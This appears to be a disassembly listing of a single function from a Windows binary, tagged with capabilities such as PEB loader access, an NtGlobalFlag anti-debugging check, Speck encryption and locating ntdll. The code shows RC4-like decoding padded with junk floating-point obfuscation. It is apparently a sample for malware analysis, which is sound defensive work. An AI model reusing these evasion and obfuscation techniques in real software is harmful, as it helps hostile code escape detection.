Function at 0x4757b0
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag
Encrypt data using speck
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57df6b
mov eax, dword fs:[0]
push eax
mov eax, 0x1fcc
call fcn.0051c460
mov eax, dword [0x59e080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1f4], ecx
mov eax, dword [ebp - 0x1f4]
mov dword [eax], 0
mov ecx, dword [ebp - 0x1f4]
mov dword [ecx + 4], 0
mov edx, dword [ebp - 0x1f4]
mov dword [edx + 8], 0
mov eax, dword [ebp - 0x1f4]
mov dword [eax + 0xc], 0
mov ecx, dword [ebp - 0x1f4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 0x1f4]
mov dword [edx + 0x14], 0
mov eax, dword [ebp - 0x1f4]
mov dword [eax + 0x18], 0
mov ecx, dword [ebp - 0x1f4]
mov dword [ecx + 0x1c], 0
mov edx, dword [ebp - 0x1f4]
mov dword [edx + 0x20], 0
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x24], ecx
mov edx, dword [ebp - 0x1f4]
add edx, 0x28
mov dword [ebp - 0x19a0], edx
push 0
mov ecx, dword [ebp - 0x19a0]
call fcn.00475750
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x1f4]
mov dword [eax + 0x30], 0
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ebp + 0xc]
mov dword [ecx + 0x64], edx
mov eax, dword [ebp - 0x1f4]
mov byte [eax + 0x68], 1
mov ecx, dword [ebp - 0x1f4]
mov byte [ecx + 0x69], 0
mov edx, dword [ebp - 0x1f4]
mov byte [edx + 0x6a], 0
mov eax, dword [ebp - 0x1f4]
mov byte [eax + 0x6b], 0
mov ecx, dword [ebp - 0x1f4]
mov byte [ecx + 0x6c], 0
mov edx, dword [ebp - 0x1f4]
mov byte [edx + 0x6d], 0
mov eax, dword [ebp - 0x1f4]
mov byte [eax + 0x6e], 1
mov ecx, dword [ebp - 0x1f4]
mov dword [ecx + 0x70], 0
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x174], 0
xorps xmm0, xmm0
movsd qword [ebp - 0xc20], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb54], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb54], xmm0
jmp 0x475946
movsd xmm0, qword [ebp - 0xb54]
addsd xmm0, qword [0x5806f8]
movsd qword [ebp - 0xb54], xmm0
movsd xmm0, qword [0x582210]
comisd xmm0, xmmword [ebp - 0xb54]
jbe 0x4759f7
movsd xmm0, qword [0x582068]
mulsd xmm0, qword [ebp - 0xb54]
mulsd xmm0, qword [ebp - 0xb54]
movsd xmm1, qword [ebp - 0xb54]
mulsd xmm1, qword [ebp - 0xb54]
subsd xmm0, xmm1
movsd xmm1, qword [0x581e50]
mulsd xmm1, qword [ebp - 0xb54]
mulsd xmm1, qword [ebp - 0xb54]
addsd xmm1, qword [0x581ea8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0xc20]
movsd qword [ebp - 0xc20], xmm0
movsd xmm0, qword [ebp - 0xc20]
comisd xmm0, xmmword [0x581fc8]
jbe 0x4759f2
invalid
movsd xmm0, qword [0x581db8]
mulsd xmm0, qword [ebp - 0xb54]
movsd xmm1, qword [ebp - 0xc20]
subsd xmm1, xmm0
movsd qword [ebp - 0xc20], xmm1
jmp 0x47592e
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0xc20]
jbe 0x475a3a
dec edi
popal
jl 0x475a79
aaa
js 0x475a65
dec edx
je 0x475a49
jns 0x475a73
insb byte es:[edi], dx
xor cl, byte ds:[edi + 0x3e]
xor al, 0x48
sub eax, 0x3a4d3f70
pushal
xor eax, 0x957a3859
call 0xe5e545c8
xchg ecx, eax
out 0xa0, eax
out 0x92, al
jmp 0x4759c1
mov dword [ebp - 0x170], 0x475a23
mov dword [ebp - 0x174], 0x475a04
mov edx, dword [ebp - 0x170]
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x19a4], eax
mov byte [ebp - 0x75d], 0x23
inc dword [edx + ebx*2]
inc edi
add byte [ebx - 0x16f6b], cl
dec dword [ecx - 0x4236b]
dec dword [ebx - 0x1737b]
dec dword [ecx - 0x19a37b]
inc esi
test dword [ebx + 0x23fffff8], esp
mov dword [ebp - 0x418], 0
add byte [eax], al
add byte [eax], al
jmp 0x475a88
mov ecx, dword [ebp - 0x418]
add ecx, 1
mov dword [ebp - 0x418], ecx
cmp dword [ebp - 0x418], 0x100
jae 0x475aa9
mov edx, dword [ebp - 0x418]
mov al, byte [ebp - 0x418]
mov byte [ebp + edx - 0x1154], al
jmp 0x475a79
mov dword [ebp - 0xa58], 0
mov byte [ebp - 0x205], 0
mov dword [ebp - 0x418], 0xff
jmp 0x475ad5
mov ecx, dword [ebp - 0x418]
sub ecx, 1
mov dword [ebp - 0x418], ecx
cmp dword [ebp - 0x418], 0
jbe 0x475d45
mov dword [ebp - 0xd70], 0
mov dword [ebp - 0xc5c], 1
mov edx, dword [ebp - 0xc5c]
cmp edx, dword [ebp - 0x418]
jae 0x475b16
mov eax, dword [ebp - 0xc5c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0xc5c], ecx
jmp 0x475af6
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0xf60], edx
cmp dword [ebp - 0xf60], 3
ja case.default.0x475b35
mov eax, dword [ebp - 0xf60]
jmp dword [eax*4 + 0x4950c4]
movzx ecx, byte [ebp - 0x205]
movzx ebx, byte [ebp + ecx - 0x1154]
movsd xmm0, qword [ebp - 0xc20]
call fcn.0051c6e0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x205], bl
jmp 0x475c1e
movzx edx, byte [ebp - 0x205]
movzx ebx, byte [ebp + edx - 0x1154]
movsd xmm0, qword [ebp - 0xc20]
call fcn.0051c6e0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x205], bl
jmp 0x475c1e
movzx eax, byte [ebp - 0x205]
movzx ebx, byte [ebp + eax - 0x1154]
movsd xmm0, qword [ebp - 0xc20]
call fcn.0051c6e0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x205], bl
jmp 0x475c1e
movzx ecx, byte [ebp - 0x205]
movzx ebx, byte [ebp + ecx - 0x1154]
movsd xmm0, qword [ebp - 0xc20]
call fcn.0051c6e0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x205], bl
jmp 0x475c1e
movzx edx, byte [ebp - 0x205]
movzx eax, byte [ebp + edx - 0x1154]
mov ecx, dword [ebp - 0x19a4]
add ecx, dword [ebp - 0xa58]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x205], al
mov eax, dword [ebp - 0xa58]
add eax, 1
mov dword [ebp - 0xa58], eax
movzx ecx, byte [ebp - 0x75d]
cmp dword [ebp - 0xa58], ecx
jb 0x475c5c
mov dword [ebp - 0xa58], 0
movzx edx, byte [ebp - 0x75d]
movzx eax, byte [ebp - 0x205]
add eax, edx
mov byte [ebp - 0x205], al
movzx ecx, byte [ebp - 0x205]
and ecx, dword [ebp - 0xc5c]
mov dword [ebp - 0x8fc], ecx
mov edx, dword [ebp - 0xd70]
add edx, 1
mov dword [ebp - 0xd70], edx
cmp dword [ebp - 0xd70], 0xb
jbe 0x475c9b
mov eax, dword [ebp - 0x8fc]
xor edx, edx
div dword [ebp - 0x418]
mov dword [ebp - 0x8fc], edx
mov eax, dword [ebp - 0x8fc]
cmp eax, dword [ebp - 0x418]
ja 0x475b16
mov ecx, dword [ebp - 0x418]
cmp ecx, dword [ebp - 0x8fc]
je 0x475d40
mov edx, dword [ebp - 0x8fc]
movzx eax, byte [ebp + edx - 0x1154]
mov ecx, dword [ebp - 0x418]
movzx edx, byte [ebp + ecx - 0x1154]
xor edx, eax
mov eax, dword [ebp - 0x418]
mov byte [ebp + eax - 0x1154], dl
mov ecx, dword [ebp - 0x418]
movzx edx, byte [ebp + ecx - 0x1154]
mov eax, dword [ebp - 0x8fc]
movzx ecx, byte [ebp + eax - 0x1154]
xor ecx, edx
mov edx, dword [ebp - 0x8fc]
mov byte [ebp + edx - 0x1154], cl
mov eax, dword [ebp - 0x8fc]
movzx ecx, byte [ebp + eax - 0x1154]
mov edx, dword [ebp - 0x418]
movzx eax, byte [ebp + edx - 0x1154]
xor eax, ecx
mov ecx, dword [ebp - 0x418]
mov byte [ebp + ecx - 0x1154], al
jmp 0x475ac6
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x1154]
mov byte [ebp - 0x190], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x1154]
mov byte [ebp - 0x19b], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x1154]
mov byte [ebp - 0x1be], al
movss xmm0, dword [0x5829d8]
movss dword [ebp - 0x8ec], xmm0
movss xmm0, dword [0x582954]
movss dword [ebp - 0x638], xmm0
movss xmm0, dword [0x58285c]
movss dword [ebp - 0x9b8], xmm0
movss xmm0, dword [ebp - 0x638]
addss xmm0, dword [ebp - 0x9b8]
movss dword [ebp - 0x638], xmm0
movss xmm0, dword [ebp - 0x638]
subss xmm0, dword [ebp - 0x9b8]
movss dword [ebp - 0x638], xmm0
movss xmm0, dword [ebp - 0x8ec]
subss xmm0, dword [ebp - 0x9b8]
movss dword [ebp - 0x8ec], xmm0
movss xmm0, dword [ebp - 0x9b8]
comiss xmm0, dword [ebp - 0x638]
jbe 0x475e57
movss xmm0, dword [ebp - 0x8ec]
mulss xmm0, dword [ebp - 0x9b8]
movss dword [ebp - 0x8ec], xmm0
movss xmm0, dword [ebp - 0x638]
divss xmm0, dword [ebp - 0x8ec]
movss dword [ebp - 0x638], xmm0
movss xmm0, dword [ebp - 0x638]
mulss xmm0, dword [ebp - 0x8ec]
movss dword [ebp - 0x638], xmm0
jmp 0x475eb4
movss xmm0, dword [ebp - 0x638]
subss xmm0, dword [ebp - 0x8ec]
movss dword [ebp - 0x638], xmm0
movss xmm0, dword [ebp - 0x638]
mulss xmm0, dword [ebp - 0x8ec]
movss dword [ebp - 0x638], xmm0
movss xmm0, dword [ebp - 0x9b8]
subss xmm0, dword [ebp - 0x638]
movss dword [ebp - 0x9b8], xmm0
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x1154]
mov byte [ebp - 0x19a], al
movzx ecx, byte [ebp - 0x205]
mov dl, byte [ebp + ecx - 0x1154]
mov byte [ebp - 0x1a5], dl
mov dword [ebp - 0xf64], 0x12
cmp dword [ebp - 0xf64], 2
jle 0x4799a6
mov eax, dword [ebp - 0xf64]
and eax, 1
jne 0x4799a6
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x2e8], 0
mov ecx, dword [ebp - 0x2e8]
add ecx, 1
mov dword [ebp - 0x2e8], ecx
mov dword [ebp - 0x414], 0
mov edx, dword [ebp - 0x214]
shl edx, 1
mov dword [ebp - 0x414], edx
mov dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x424]
add eax, dword [ebp - 0x414]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x3c0], ecx
mov dword [ebp - 0x3c4], 0
mov edx, dword [ebp - 0x3c4]
add edx, 0x91
mov dword [ebp - 0x3c4], edx
mov dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x214]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x3c8], 0
mov edx, dword [ebp - 0x424]
add edx, dword [ebp - 0x428]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3cc], 0
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe2
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x3d0], 0
mov edx, dword [ebp - 0x3c0]
sub edx, dword [ebp - 0x3c4]
add edx, dword [ebp - 0x3d0]
mov dword [ebp - 0x3d0], edx
mov dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x3c8]
sub eax, dword [ebp - 0x3cc]
add eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x3d4], eax
mov dword [ebp - 0x42c], 0
mov ecx, dword [ebp - 0x3d0]
shl ecx, 4
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], 0
mov edx, dword [ebp - 0x3d4]
mov dword [ebp - 0x430], edx
mov dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x42c]
or eax, dword [ebp - 0x430]
mov dword [ebp - 0x434], eax
mov byte [ebp - 0x1bd], 0
mov cl, byte [ebp - 0x434]
mov byte [ebp - 0x1bd], cl
mov byte [ebp - 0x1bf], 0
movzx edx, byte [ebp - 0x1a5]
mov al, byte [ebp + edx - 0x1154]
mov byte [ebp - 0x1bf], al
movzx ecx, byte [ebp - 0x190]
movzx edx, byte [ebp + ecx - 0x1154]
mov dword [ebp - 0x19a8], edx
mov al, byte [ebp - 0x190]
add al, 1
mov byte [ebp - 0x190], al
movzx ecx, byte [ebp - 0x19b]
add ecx, dword [ebp - 0x19a8]
mov byte [ebp - 0x19b], cl
movzx edx, byte [ebp - 0x19b]
movzx eax, byte [ebp - 0x1a5]
mov cl, byte [ebp + edx - 0x1154]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x19a]
movzx eax, byte [ebp - 0x19b]
mov cl, byte [ebp + edx - 0x1154]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x190]
movzx eax, byte [ebp - 0x19a]
mov cl, byte [ebp + edx - 0x1154]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x190]
mov al, byte [ebp - 0x1bf]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x1bf]
movzx edx, byte [ebp + ecx - 0x1154]
movzx eax, byte [ebp - 0x1be]
add eax, edx
mov byte [ebp - 0x1be], al
movzx ecx, byte [ebp - 0x1bd]
movzx edx, byte [ebp - 0x19b]
movzx eax, byte [ebp + edx - 0x1154]
movzx edx, byte [ebp - 0x190]
movzx edx, byte [ebp + edx - 0x1154]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1154]
xor ecx, eax
movzx edx, byte [ebp - 0x19a]
movzx eax, byte [ebp + edx - 0x1154]
movzx edx, byte [ebp - 0x1a5]
movzx edx, byte [ebp + edx - 0x1154]
add eax, edx
movzx edx, byte [ebp - 0x1be]
movzx edx, byte [ebp + edx - 0x1154]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1154]
movzx edx, byte [ebp + eax - 0x1154]
xor ecx, edx
mov byte [ebp - 0x19a], cl
mov al, byte [ebp - 0x1bd]
mov byte [ebp - 0x1a5], al
mov cl, byte [ebp - 0x19a]
mov byte [ebp - 0x1e3], cl
cmp dword [ebp - 0x214], 0
jle 0x4761f6
movsx dx, byte [ebp - 0x1e3]
mov eax, dword [ebp - 0x214]
mov word [ebp + eax*2 - 0x62], dx
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
mov edx, dword [ebp - 0x2e8]
add edx, 1
mov dword [ebp - 0x2e8], edx
mov eax, dword [ebp - 0x214]
shl eax, 1
mov dword [ebp - 0x414], eax
mov ecx, dword [ebp - 0x424]
add ecx, dword [ebp - 0x414]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c0], edx
mov dword [ebp - 0x3c4], 0x91
mov eax, dword [ebp - 0x214]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x428], ecx
mov edx, dword [ebp - 0x424]
add edx, dword [ebp - 0x428]
movzx eax, byte [edx]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3cc], 0xe2
mov ecx, dword [ebp - 0x3c0]
sub ecx, dword [ebp - 0x3c4]
mov dword [ebp - 0x3d0], ecx
mov edx, dword [ebp - 0x3c8]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x3d4], edx
mov eax, dword [ebp - 0x3d0]
shl eax, 4
mov dword [ebp - 0x42c], eax
mov ecx, dword [ebp - 0x3d4]
mov dword [ebp - 0x430], ecx
mov edx, dword [ebp - 0x42c]
or edx, dword [ebp - 0x430]
mov dword [ebp - 0x434], edx
movsd xmm0, qword [0x5825a0]
movsd qword [ebp - 0x5c4], xmm0
movsd xmm0, qword [0x5824d0]
movsd qword [ebp - 0x834], xmm0
movsd xmm0, qword [0x582440]
movsd qword [ebp - 0x82c], xmm0
movsd xmm0, qword [0x582388]
movsd qword [ebp - 0x4e0], xmm0
movsd xmm0, qword [0x5822b8]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [0x5821a0]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [0x5820b0]
movsd qword [ebp - 0x570], xmm0
movsd xmm0, qword [ebp - 0x5c4]
addsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x5c4], xmm0
movsd xmm0, qword [ebp - 0x5c4]
addsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x5c4], xmm0
movsd xmm0, qword [ebp - 0x5c4]
addsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x5c4], xmm0
movsd xmm0, qword [ebp - 0x568]
subsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x568]
mulsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x4e0]
addsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x4e0], xmm0
movsd xmm0, qword [ebp - 0x834]
mulsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x834], xmm0
movsd xmm0, qword [ebp - 0x570]
comisd xmm0, xmmword [ebp - 0x834]
jbe 0x4768c2
movsd xmm0, qword [ebp - 0x570]
addsd xmm0, qword [ebp - 0x5c4]
movsd qword [ebp - 0x570], xmm0
movsd xmm0, qword [ebp - 0x644]
mulsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x644]
mulsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x4e0]
subsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x4e0], xmm0
movsd xmm0, qword [ebp - 0x82c]
subsd xmm0, qword [ebp - 0x4e0]
movsd qword [ebp - 0x82c], xmm0
movsd xmm0, qword [ebp - 0x4e0]
divsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x4e0], xmm0
movsd xmm0, qword [ebp - 0x570]
mulsd xmm0, qword [ebp - 0x5c4]
movsd qword [ebp - 0x570], xmm0
movsd xmm0, qword [ebp - 0x644]
subsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x82c]
mulsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x82c], xmm0
movsd xmm0, qword [ebp - 0x568]
addsd xmm0, qword [ebp - 0x5c4]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x4e0]
divsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x4e0], xmm0
movsd xmm0, qword [ebp - 0x5c4]
divsd xmm0, qword [ebp - 0x82c]
movsd qword [ebp - 0x5c4], xmm0
movsd xmm0, qword [ebp - 0x644]
mulsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x834]
divsd xmm0, qword [ebp - 0x4e0]
movsd qword [ebp - 0x834], xmm0
movsd xmm0, qword [ebp - 0x5c4]
comisd xmm0, xmmword [ebp - 0x82c]
jbe 0x476815
movsd xmm0, qword [ebp - 0x5c4]
divsd xmm0, qword [ebp - 0x82c]
movsd qword [ebp - 0x5c4], xmm0
movsd xmm0, qword [ebp - 0x5c4]
divsd xmm0, qword [ebp - 0x82c]
movsd qword [ebp - 0x5c4], xmm0
movsd xmm0, qword [ebp - 0x568]
subsd xmm0, qword [ebp - 0x5c4]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x4e0]
divsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x4e0], xmm0
movsd xmm0, qword [ebp - 0x570]
addsd xmm0, qword [ebp - 0x834]
movsd qword [ebp - 0x570], xmm0
movsd xmm0, qword [ebp - 0x4e0]
mulsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x4e0], xmm0
movsd xmm0, qword [ebp - 0x4e0]
subsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x4e0], xmm0
movsd xmm0, qword [ebp - 0x570]
subsd xmm0, qword [ebp - 0x5c4]
movsd qword [ebp - 0x570], xmm0
movsd xmm0, qword [ebp - 0x568]
mulsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x834]
subsd xmm0, qword [ebp - 0x82c]
movsd qword [ebp - 0x834], xmm0
movsd xmm0, qword [ebp - 0x570]
subsd xmm0, qword [ebp - 0x5c4]
movsd qword [ebp - 0x570], xmm0
movsd xmm0, qword [ebp - 0x82c]
subsd xmm0, qword [ebp - 0x4e0]
movsd qword [ebp - 0x82c], xmm0
movsd xmm0, qword [ebp - 0x5c4]
addsd xmm0, qword [ebp - 0x834]
movsd qword [ebp - 0x5c4], xmm0
movsd xmm0, qword [ebp - 0x568]
subsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x82c]
comisd xmm0, xmmword [ebp - 0x5c4]
jbe 0x476768
movsd xmm0, qword [ebp - 0x644]
subsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x5c4]
mulsd xmm0, qword [ebp - 0x834]
movsd qword [ebp - 0x5c4], xmm0
movsd xmm0, qword [ebp - 0x568]
addsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x568]
subsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x82c]
subsd xmm0, qword [ebp - 0x4e0]
movsd qword [ebp - 0x82c], xmm0
movsd xmm0, qword [ebp - 0x834]
mulsd xmm0, qword [ebp - 0x82c]
movsd qword [ebp - 0x834], xmm0
movsd xmm0, qword [ebp - 0x5c4]
divsd xmm0, qword [ebp - 0x834]
movsd qword [ebp - 0x5c4], xmm0
jmp 0x476810
movsd xmm0, qword [ebp - 0x568]
divsd xmm0, qword [ebp - 0x5c4]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x570]
divsd xmm0, qword [ebp - 0x834]
movsd qword [ebp - 0x570], xmm0
movsd xmm0, qword [ebp - 0x834]
subsd xmm0, qword [ebp - 0x4e0]
movsd qword [ebp - 0x834], xmm0
movsd xmm0, qword [ebp - 0x644]
subsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x834]
divsd xmm0, qword [ebp - 0x4e0]
movsd qword [ebp - 0x834], xmm0
movsd xmm0, qword [ebp - 0x5c4]
mulsd xmm0, qword [ebp - 0x82c]
movsd qword [ebp - 0x5c4], xmm0
movsd xmm0, qword [ebp - 0x4e0]
mulsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x4e0], xmm0
jmp 0x4768bd
movsd xmm0, qword [ebp - 0x82c]
divsd xmm0, qword [ebp - 0x4e0]
movsd qword [ebp - 0x82c], xmm0
movsd xmm0, qword [ebp - 0x4e0]
divsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x4e0], xmm0
movsd xmm0, qword [ebp - 0x568]
mulsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x4e0]
subsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x4e0], xmm0
movsd xmm0, qword [ebp - 0x644]
mulsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x4e0]
subsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x4e0], xmm0
movsd xmm0, qword [ebp - 0x4e0]
divsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x4e0], xmm0
jmp 0x476976
movsd xmm0, qword [ebp - 0x82c]
subsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x82c], xmm0
movsd xmm0, qword [ebp - 0x644]
addsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x4e0]
subsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x4e0], xmm0
movsd xmm0, qword [ebp - 0x834]
addsd xmm0, qword [ebp - 0x4e0]
movsd qword [ebp - 0x834], xmm0
movsd xmm0, qword [ebp - 0x644]
mulsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x644]
mulsd xmm0, qword [ebp - 0x570]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x568]
mulsd xmm0, qword [ebp - 0x5c4]
movsd qword [ebp - 0x568], xmm0
mov al, byte [ebp - 0x434]
mov byte [ebp - 0x1bd], al
movzx ecx, byte [ebp - 0x1a5]
mov dl, byte [ebp + ecx - 0x1154]
mov byte [ebp - 0x1bf], dl
movzx eax, byte [ebp - 0x190]
movzx ecx, byte [ebp + eax - 0x1154]
mov dword [ebp - 0x19ac], ecx
mov dl, byte [ebp - 0x190]
add dl, 1
mov byte [ebp - 0x190], dl
movzx eax, byte [ebp - 0x19b]
add eax, dword [ebp - 0x19ac]
mov byte [ebp - 0x19b], al
movzx ecx, byte [ebp - 0x19b]
movzx edx, byte [ebp - 0x1a5]
mov al, byte [ebp + ecx - 0x1154]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x19a]
movzx edx, byte [ebp - 0x19b]
mov al, byte [ebp + ecx - 0x1154]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x190]
movzx edx, byte [ebp - 0x19a]
mov al, byte [ebp + ecx - 0x1154]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x190]
mov dl, byte [ebp - 0x1bf]
mov byte [ebp + ecx - 0x1154], dl
movzx eax, byte [ebp - 0x1bf]
movzx ecx, byte [ebp + eax - 0x1154]
movzx edx, byte [ebp - 0x1be]
add edx, ecx
mov byte [ebp - 0x1be], dl
movzx eax, byte [ebp - 0x1bd]
movzx ecx, byte [ebp - 0x19b]
movzx edx, byte [ebp + ecx - 0x1154]
movzx ecx, byte [ebp - 0x190]
movzx ecx, byte [ebp + ecx - 0x1154]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1154]
xor eax, edx
movzx ecx, byte [ebp - 0x19a]
movzx edx, byte [ebp + ecx - 0x1154]
movzx ecx, byte [ebp - 0x1a5]
movzx ecx, byte [ebp + ecx - 0x1154]
add edx, ecx
movzx ecx, byte [ebp - 0x1be]
movzx ecx, byte [ebp + ecx - 0x1154]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1154]
movzx ecx, byte [ebp + edx - 0x1154]
xor eax, ecx
mov byte [ebp - 0x19a], al
mov dl, byte [ebp - 0x1bd]
mov byte [ebp - 0x1a5], dl
mov al, byte [ebp - 0x19a]
mov byte [ebp - 0x1e3], al
cmp dword [ebp - 0x214], 0
jle 0x476b01
movsx cx, byte [ebp - 0x1e3]
mov edx, dword [ebp - 0x214]
mov word [ebp + edx*2 - 0x62], cx
mov eax, dword [ebp - 0x214]
add eax, 1
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 0x2e8]
add ecx, 1
mov dword [ebp - 0x2e8], ecx
mov edx, dword [ebp - 0x214]
shl edx, 1
mov dword [ebp - 0x414], edx
mov eax, dword [ebp - 0x424]
add eax, dword [ebp - 0x414]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c0], ecx
mov dword [ebp - 0x3c4], 0x91
mov edx, dword [ebp - 0x214]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x424]
add ecx, dword [ebp - 0x428]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c8], edx
mov dword [ebp - 0x3cc], 0xe2
mov eax, dword [ebp - 0x3c0]
sub eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x3d0], eax
movss xmm0, dword [0x5829ec]
movss dword [ebp - 0x340], xmm0
movss xmm0, dword [0x5829ac]
movss dword [ebp - 0x41c], xmm0
movss xmm0, dword [0x58294c]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [0x5828a8]
movss dword [ebp - 0x264], xmm0
movss xmm0, dword [0x582808]
movss dword [ebp - 0x290], xmm0
movss xmm0, dword [ebp - 0x238]
mulss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x41c]
subss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x41c], xmm0
movss xmm0, dword [ebp - 0x264]
mulss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x264], xmm0
movss xmm0, dword [ebp - 0x340]
addss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x340], xmm0
movss xmm0, dword [ebp - 0x238]
mulss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x238], xmm0
